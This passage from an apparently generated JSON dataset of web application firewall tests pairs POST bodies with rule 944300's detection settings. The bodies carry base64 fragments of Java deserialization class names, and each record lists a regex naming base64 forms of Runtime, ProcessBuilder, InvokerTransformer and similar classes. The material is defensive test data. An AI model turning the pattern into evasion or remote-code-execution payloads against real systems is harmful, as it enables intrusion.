"severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">BpbnN0YW50aWF0ZWZhY3Rvcnk</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">BpbnN0YW50aWF0ZWZhY3Rvcnk</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=BpbnN0YW50aWF0ZWZhY3Rvcnk" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"BpbnN0YW50aWF0ZWZhY3Rvcnk\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"BpbnN0YW50aWF0ZWZhY3Rvcnk\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword BpbnN0YW50aWF0ZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 